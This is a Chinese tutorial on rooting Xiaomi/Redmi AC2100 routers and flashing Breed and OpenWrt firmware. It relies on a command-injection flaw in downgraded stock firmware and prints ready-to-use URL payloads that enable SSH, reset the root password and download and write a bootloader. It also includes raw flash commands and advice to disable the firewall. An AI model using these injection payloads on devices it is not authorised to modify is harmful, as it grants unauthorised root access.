準備工作：

一、材料：

1、路由器

紅米/小米AC2100路由器、網(wǎng)線、路由器正常連上互聯(lián)網(wǎng)（需要在聯(lián)網(wǎng)狀態(tài)下載Breed進行刷寫）

2、電腦

windows系統(tǒng)或MacOS系統(tǒng)均可，建議刷固件之前先關(guān)閉防火墻和殺毒軟件。

3、OpenWrt官網(wǎng)最新底包和正式固件，下載到電腦上：

（紅米Redmi Router AC2100目前最新版是21.02.3）

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

（可選：win系統(tǒng)在WinPcap官網(wǎng)下載WinPcap_4_1_3.exe軟件并安裝 ，Win系統(tǒng)下的SSH軟件?MobaXterm 20.0.exe，）

TIPS1：進行教程操作前，請盡量使用網(wǎng)線與路由器連接，否則可能無法進行部分操作。正常情況是無需設置電腦防火墻和關(guān)閉殺毒軟件的，但保險起見還是關(guān)閉防火墻和殺毒軟件，不然刷成磚就后悔了！
TIPS2：教程中涉及文件存儲和操作的所有路徑和命令，請保證為全英文路徑和命令(不得使用中文字符)，使用中文路徑可能出現(xiàn)未知錯誤，導致刷機失?。。?/span>

4、降級固件（帶漏洞的版本），下載到電腦上：

紅米AC2100:http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm2100/miwifi_rm2100_firmware_d6234_2.0.7.bin
小米AC2100:http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin

TIPS：miwifi_rm2100開頭的是紅米的，miwifi_r2100開頭的是小米的。小米/紅米AC2100只有一個版本的固件有漏洞，版本號為AC2100 2.0.7*版本。之后的版本漏洞已經(jīng)修復，要刷機需要降級到帶漏洞的版本（有人說是小米有意無意放出的那么一個版本，反正國際上一大堆玩小米路由的玩家）。降級只需用官方更新方法手動刷入即可。

5、需要用到的網(wǎng)站（建議收藏這些網(wǎng)站）：

Breed官網(wǎng)：https://breed.hackpascal.net/

OpenWrt官網(wǎng)：https://openwrt.org/zh/toh/start

OpenWrt的紅米AC2100：https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

WinPcap官網(wǎng)：https://www.winpcap.org/

小米路由器官方修復工具：http://miwifi.com/miwifi_download.html

小米路由器官方論壇：https://www.xiaomi.cn/board/557962?

SN密碼計算網(wǎng)站：https://www.oxygen7.cn/miwifi/

Padavan（老毛子）網(wǎng)站：https://opt.cn2qq.com/padavan/

小米AC2100國際英文論壇：https://forum.openwrt.org/t/new-xiaomi-router-ac2100/48101

OpenWrt底包后臺：http://10.0.0.1/? ?，密碼: root??

小米路由器后臺：http://miwifi.com/

小米路由器默認的局域網(wǎng)IP地址：http://192.168.31.1/

二、基本思路：

利用官方路由器固件的漏洞，通過Web注入漏洞開啟SSH實現(xiàn)刷機。

三、基本知識：

1、路由器指示燈狀態(tài)說明

?1. 藍燈長亮：工作正常? ?2. 藍燈閃爍：刷機成功（需要斷電重啟，注意路由斷電后請等待10s以上再通電） ?3. 橙燈長亮：正在啟動 ?4. 橙燈閃爍：進入刷機流程或系統(tǒng)升級中（該過程不要斷電） ?5. 紅燈長亮：系統(tǒng)故障 ?6. 紅燈閃爍：刷機失敗

2、WinPcap簡介

多年來，WinPcap 一直被公認為 Windows 環(huán)境中鏈路層網(wǎng)絡訪問的行業(yè)標準工具，允許應用程序繞過協(xié)議棧捕獲和傳輸網(wǎng)絡數(shù)據(jù)包，包括內(nèi)核級數(shù)據(jù)包過濾、網(wǎng)絡統(tǒng)計引擎和支持遠程抓包。

WinPcap 由一個擴展操作系統(tǒng)以提供低級網(wǎng)絡訪問的驅(qū)動程序和一個用于輕松訪問低級網(wǎng)絡層的庫組成。該庫還包含著名的 libpcap Unix API 的 Windows 版本。

由于其一系列功能，WinPcap 已成為許多開源和商業(yè)網(wǎng)絡工具的數(shù)據(jù)包捕獲和過濾引擎，包括協(xié)議分析器、網(wǎng)絡監(jiān)視器、網(wǎng)絡入侵檢測系統(tǒng)、嗅探器、流量生成器和網(wǎng)絡測試器。其中一些網(wǎng)絡工具，如Wireshark、Nmap、Snort 和 ntop，在整個網(wǎng)絡社區(qū)中廣為人知并使用。

3、ROM和RAM的區(qū)別

ROM表示的是只讀存儲器,它類似于電腦中的硬盤內(nèi)存,但它只能讀出信息,不能寫入信息,計算機關(guān)閉電源后其內(nèi)的信息仍舊保存,一般用它存儲固定的系統(tǒng)軟件和字庫等。如果路由器的rom比較小,還可以額外加USB外接存儲。

RAM表示的是讀寫存儲器,它就是我們常說的內(nèi)存?？善渲械娜我淮鎯卧M行讀或?qū)懖僮?關(guān)閉電源后其內(nèi)的信息將不在保存,再次開機需要重新裝入,通常用來存放短時間使用的程序。

4、2.4G和5G的區(qū)別

以前廣泛使用的WiFi多數(shù)是基于IEEE 802.11n（第四代）無線標準，其工作頻段多數(shù)在2.4GHz，所以被稱為2.4G WiFi；而最新一代的無線標準IEEE 802.11ac（第五代），其工作頻段在5GHz，所以被稱為5G WiFi，其具有傳輸速率快、干擾少等特點。

5、WiFi 5和WiFi 6的區(qū)別

WiFi聯(lián)盟發(fā)布的Wi-Fi 5標準叫802.11ac，Wi-Fi 6標準名802.11ax，在更名為Wi-Fi 6前各廠商均以 AC/AX作為前綴，后續(xù)的數(shù)字為Wi-Fi速率規(guī)格。所以，AX1800即 Wi-Fi 6的1800 Mbps最高速取整，具體是2.4 GHz頻段574 Mbps + 5 GHz頻段 1201 Mbps。

舉個例子以前的路由是得到數(shù)據(jù)后馬上發(fā)車，這樣就會造成線路堵塞，而wifi6是每次車裝滿了在走這樣傳輸?shù)臅臁?/p>

Wi-Fi 6將帶來新改變：優(yōu)化了設備的功耗和覆蓋能力。支持多用戶高速率并發(fā)，能夠在用戶密集的場景下體現(xiàn)出更好的性能，同時帶來了更遠的傳輸距離與更高的傳輸速率。Wi-Fi 6的最高速率可達9.6Gbps。Wi-Fi 6運用了OFDMA、SpatialReuse 實現(xiàn)在每個時間段內(nèi)多個用戶同時并行傳輸，提升了效率，降低了時延。Wi-Fi 6中的另一項新技術(shù)TWT允許AP與終端之間協(xié)商通信，減少了保持傳輸和搜索信號所需的時間，這就意味著減少電池消耗并改善電池續(xù)航表現(xiàn)。

6、openwrt的不同固件文件名含義

在下載openwrt系統(tǒng)時，經(jīng)常能看到initramfs-kernel.bin，squashfs-factory.bin，squashfs-sysupgrade.bin等結(jié)尾的文件，factory適用于從原廠系統(tǒng)刷到openwrt

initramfs-kernel文件，initramfs是放在內(nèi)存RAM中的rootfs 映像文件，跟kernel放在一起。一般來說用不到initramfs-kernel.bin來刷機，因為啟動后，所有的配置在路由器重啟后都不能保留（畢竟ram文件系統(tǒng)，所有文件放在ram中，斷電就沒了）。但也有用到initramfs-kernel.bin的時候，就是在移植openwrt系統(tǒng)的時候，沒有設備上的flash閃存的驅(qū)動的時候。

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin、

sysupgrade則是從openwrt刷到openwrt（已經(jīng)是openwrt系統(tǒng)，在openwrt系統(tǒng)中更新自己）

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin、

開始工作：

一、開啟SSH

192.168.31.1進入后臺->常用設置->系統(tǒng)狀態(tài)->手動升級 加載固件，可以保留數(shù)據(jù)->開始升級

升級完成，變成了有漏洞的版本后，通過下面web命令開啟SSH。

使用管理密碼登錄管理頁面，

登錄后地址欄鏈接應為：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

這里的關(guān)鍵是<STOK>號，每臺機器不同，甚至每次登錄都不同(有時stok值會發(fā)生改變，建議重新返回登錄頁面復制最新的stok值)，拷貝下來備用。

?在瀏覽器地址欄中輸入以下鏈接代碼，注意替換掉<STOK>部分：

以下兩個地址替換為上面的<STOK>值之后后分別訪問，

a. 獲取 SSH 權(quán)限，一步到位漏洞注入

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20%E2%80%99s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg%E2%80%99%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

b. 修改 root 用戶密碼為 admin??(可跳過此步驟)

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

'admin'表示輸入兩次密碼以修改密碼為admin，想要自行設置密碼的僅需要改動兩個紅色字符admin即可，其他地方不要改，怕出問題或記不住的不用修改。

執(zhí)行成功后會看到 {“code”:0}

其實成不成功都會返回這個
如果返回401錯誤，原因可能是版本不正確或者<STOK>值錯誤或者鏈接輸入不完整等，提示404錯誤，說明輸入地址錯誤，請檢查固件版本或鏈接地址...
注意傳參順序及指令前后都要有一個分號，即%3B
建議一鍵注入后需等待一些時間，保證路由器后臺能正確處理注入

路由器重啟后，就開啟 SSH 功能了！

題外話：

1、以 root 用戶身份登錄路由器

macOS 的 “終端” 輸入?ssh root@192.168.31.1

輸入 root 用戶密碼后回車確認，看到下圖就成功以 root 用戶身份登錄路由器了。

win系統(tǒng)用WinPcap軟件登錄路由器

2、目前方法支持到最新固件版本 2.0.23

已經(jīng)獲取到 SSH 權(quán)限了，那么開始使用 SSH 安裝各種廣告屏蔽插件吧。

二、刷入 Breed （有2種方法）

方法1、通過文件上傳（傳統(tǒng)方法，較復雜）

Breed官網(wǎng)下載對應的Breed文件，breed-mt7621-xiaomi-r3g.bin

然后通過 cdm 進入固件本地目錄，使用 SCP 命令將該文件傳入路由器 tmp 目錄。

scp ./breed-mt7621-xiaomi-r3g.bin root@192.168.31.1:/tmp/breed-mt7621-xiaomi-r3g.bin

breed傳到路由器之后，我們在路由器 SSH 會話里面執(zhí)行一下命令

mtd -r write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

然后等待路由器重啟，當路由器閃藍燈的之后。我們打開瀏覽器，進入?192.168.1.1

進入界面之后我們打開環(huán)境變量編輯?，添加字段?新增字段”xiaomi.r3g.bootfw”,值設置為2 。

方法2、直接通過瀏覽器刷（簡單）

2個代碼搞定，注意替換掉<STOK>部分

先檢查壞塊

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

瀏覽器會顯示 :??{"code":0}?

如果顯示其他代碼，可能是你還沒降級固件或者stok過期。也可以恢復出廠從試。
此代碼是用來檢查NAND壞塊的。路由器開機超過一小時建議先重啟。運行代碼后，你路由器的2.4g WiFi名稱會改名成：比如??"ESMT"，"Toshiba"，"Toshiba 90 768"。 90和768是壞塊。 如果ESMT或者Toshiba后面沒數(shù)字，那恭喜你，沒有壞塊?。?！

瀏覽器輸入下面代碼在線刷BREED（需要路由器聯(lián)網(wǎng)能上網(wǎng)）：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

如果路由器在60秒內(nèi)重啟則代表刷BREED成功(燈會從藍變橘，最終變藍進入系統(tǒng))。成功后拔掉電源，按住reset同時接上電源等10秒即可進入breed。192.168.1.1
如果沒重啟，可能是stok過期了。進入后臺復制新的stok即可。也有可能下載的BREED損壞，從新運行代碼。也有可能沒網(wǎng)絡。

刷完后可能無法進入原廠系統(tǒng)，進BREED刪變量：normal_firmware_md5

三、用Breed刷入OpenWrt/Padavan/第三方固件

1、刷入OpenWRT

拔掉路由器電源，按住reset同時接上電源等雙黃燈閃爍后松開, 瀏覽器輸入?192.168.1.1?即可進入breed

（如果以后路由器出現(xiàn)問題，路由器斷電之后，使用取卡針插入路由器，再接電即可重置路由器進入 Breed，這樣你又可以刷入別的固件了。）

點擊 環(huán)境變量編輯 點 添加, 字段 輸入 xiaomi.r3g.bootfw? 值 輸入 2 , 點擊 保存

從breed界面“固件更新”-“Bootloader”處選擇OpenWrt底包文件（openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin）直接上傳并更新確認。

刷入底包之后，路由器會自動重啟, 等藍燈常亮后 瀏覽器 輸入?10.0.0.1?進入OpenWrt底包后臺。

點擊備份/升級

點擊刷寫固件

選擇OpenWRT的sysupgrade固件（目前最新的為openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin）

等待路由器自動重啟完成,藍燈常亮后,會自動跳轉(zhuǎn)到后臺登錄界面, 或手動輸入后臺地址 ?10.0.0.1

登錄后臺, 默認密碼 root ,完成！

（注意：OpenWRT比較吃內(nèi)存，紅米AC2100的128M內(nèi)存的一般占用70%左右。官方的這個需要的插件都要自己安裝，還需要很多依賴包。）

2、刷入Padavan（老毛子）

RM2100開頭的那個就是紅米2100的Padavan固件：RM2100_***.trx

R2100開頭的那個是小米2100的Padavan固件：R2100_***.trx

進入Breed，點擊“固件更新”-在“固件”位置上傳trx文件，刷入固件即可

如果刷入breed后刷入Openwrt固件一切正常，刷入Padavan后無法進入系統(tǒng)，
在Breed控制臺——環(huán)境變量編輯——md5中，備份md5信息后刪除信息，保存重刷

3、其他第三方固件

在網(wǎng)上如恩山論壇尋找第三方固件，也可以自己制作你想要的固件，然后進入Breed刷入固件即可！

4、刷回小米官方原版固件

下載：“小米路由器修復工具”和“Redmi路由器AC2100 穩(wěn)定版”，路由的隨便一個lan口連接電腦（只連這一條）。禁用其他網(wǎng)卡，只留紅米路由的，運行官方刷機工具，根據(jù)提示進行恢復。

四、最后介紹一種不用Breed直接刷入OpenWrt固件的方法

直接登錄SSH進行刷機，不需要安裝breed，只需三個文件：

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-kernel1.bin

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-rootfs0.bin

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-sysupgrade.bin

先刷入前面兩個文件，之后用sysupgrade.bin更新一下即可。

重啟后，通過winscp登錄192.168.31.1用戶為root密碼為admin。先把openwrt的兩個rom文件（xxx-kernel1.bin和xxx-rootfs0.bin）上傳到路由器tmp目錄。

再用putty登錄192.168.31.1進行刷機操作，輸入如下命令進行刷機：

nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

mtd write /tmp/xxx-kernel1.bin kernel1

mtd -r write /tmp/xxx-rootfs0.bin rootfs0

注意上面rom文件的文件名，把xxx替換成你自己用的rom文件名。

刷完后將重啟，之后便是openwrt路由的設置了，最后用sysupgrade.bin更新一下即可。

其他常見問題 Q&A：

1、怎么查路由器閃存壞塊和閃存品牌

首先登錄SSH

Mac或Windows Power Shell用如下命令登錄，當然也可以使用其他工具：

ssh root@192.168.31.1




然后，按照提示操作，并輸入密碼。

然后，輸入如下命令查看閃存品牌：

dmesg | grep NAND

ESMT NAND是晶豪品牌，toshiba是東芝品牌

然后，查看壞塊

dmesg | grep '[B|b]ad.*block'

如果沒有任何輸出表示沒有壞塊，

TIPS：為什么要查壞塊？壞塊為14 15以及768可能無法刷入20M大小以上的openwrt系統(tǒng)，如存在以上壞塊且需要使用openwrt系統(tǒng)。

2、怎么關(guān)閉 SSH

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D0%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B




3、永久開啟telnet-ssh

在Breed?后臺——小米R3G?Bdata——加入字段telnet_en?值1、字段ssh_en值1

4、小米路由器怎么去廣告

在Breed?后臺——小米R3G?Bdata——把CountryCode改成EU或US，保存，然后重啟路由器，恢復出廠設置。

?5、固件備份

輸入命令查看當前分區(qū)

cat /proc/mtd

mtd0-10都是固件和分區(qū)，其中mtd0是編程固件

方法1、完全備份(如需要后期恢復原廠固件，建議進行該步操作)

輸入命令?dd if=/dev/mtd0 of=/tmp/all.bin

mtd0是編程固件已經(jīng)包括1-10里面的東西了，不放心的可以都把他們備份下來
輸入命令后一定要將"/tmp/all.bin"移動到電腦上(可通過ssh會話左側(cè)的SFTP/SCP界面操作, 如果操作失敗建議更換為scp協(xié)議, 如果還是失敗就換個軟件，比如MobaXterm最新版或Xmanager或配合winscp軟件使用)后再操作第二條指令以防路由器空間不足導致備份失敗。

方法2、部分備份（僅備份BootLoader）

輸入命令?dd if=/dev/mtd1 of=/tmp/bootloader.bin

輸入命令后要將"/tmp/bootloader.bin" 復制到電腦另外的地方，或上傳到自己的網(wǎng)盤上進行保存。

6、固件恢復

將完全備份的編程器固件文件all.bin復制到路由器/tmp目錄下，執(zhí)行以下命令，

mtd -r write /tmp/all.bin All

執(zhí)行前務必確認all.bin是正確且完整的，執(zhí)行完成后一定要等待路由器自行重啟，否則必變磚，操作需謹慎。

7、我的設備支持5G WiFi，為什么搜索不到5G WiFi信號？

5G信道有很多，目前國內(nèi)只允許開啟部分信道，其他的都不可用。部分用戶購買的俗稱非“國行”的手機可能工作在國內(nèi)不支持的信道。遇到此類問題，請不要把信道設置為36-64；一般情況下正常終端應該都會支持149-165，您可以嘗試將信道設置在此范圍內(nèi)然后再試。

8、怎么選擇新價比高的路由器（硬路由）？

如果你只想刷openwrt有性價比的好多，比較有代表性的有小米的AC2100和紅米AC2100，還有小米的4a也可以刷，除了停產(chǎn)和廠家倒閉的，大廠里面好像就剩小米家的這幾款還在官方售賣了，價格一百多，也好刷，但是紅米2100有部分東芝閃存有壞塊。

歌華鏈的GHL-R-001很有性價比，MT7621A 880MHz 的CPU 、512M的內(nèi)存、32M的儲存、全1000M網(wǎng)口（3個LAN口，一個WAN口），還有USB3.0接口，二手一般70左右就能收到。

新路由3(newifi3)不行，?2.4Gwifi 太差，只開5G的話隔一堵墻就不行了。

紅米ax5 ax6用不到一個月就出現(xiàn)斷流，信號滿格但連不上網(wǎng)。

CR6608說白了就是紅米AX1800的移動定制版

刷梅林的可以看看網(wǎng)件的老款機器，也蠻有性價比的，騰達的ac18也可以，不過騰達的稍貴，估計要上150左右了。喜歡梅林的還是建議你華碩的路由器高低搭配，因為高端一點的華碩都有DDNS轉(zhuǎn)發(fā)功能，而且華碩的中高端是真的保值，華碩的熱血版就不錯，可以看看電信定制的同款，配置一樣，后面還多一個usb3.0，你單獨使用不是還多一個小NAS嘛！

9、軟路由和硬路由？

硬路由是采用特定的硬件設備，基于嵌入式系統(tǒng)架構(gòu)，以自行開發(fā)或是現(xiàn)成的嵌入式操作系統(tǒng)如Vxworks，uClinux等等為操作系統(tǒng)，再配合系統(tǒng)廠商自行開發(fā)的路由軟件，提供專門的路由器功能，軟件與硬件是互相配合的。對硬件路由器的管理通常采用專用命令行、圖形界面或網(wǎng)管軟件實現(xiàn)，市面上售賣的路由器一般都是硬件路由器。

軟路由是指利用臺式機或服務器配合軟件形成路由解決方案，主要靠軟件的設置，達成路由器的功能；

想要性能好點就去淘x86架構(gòu)的minipc做軟路由，功耗稍微高一點。其次功耗低一點，首先推薦arm架構(gòu)的，其次是mipis架構(gòu)的。

gl.inet的路由器就有基于這些架構(gòu)的，但是這塊比較小眾，不是玩家的話不太推薦。

over~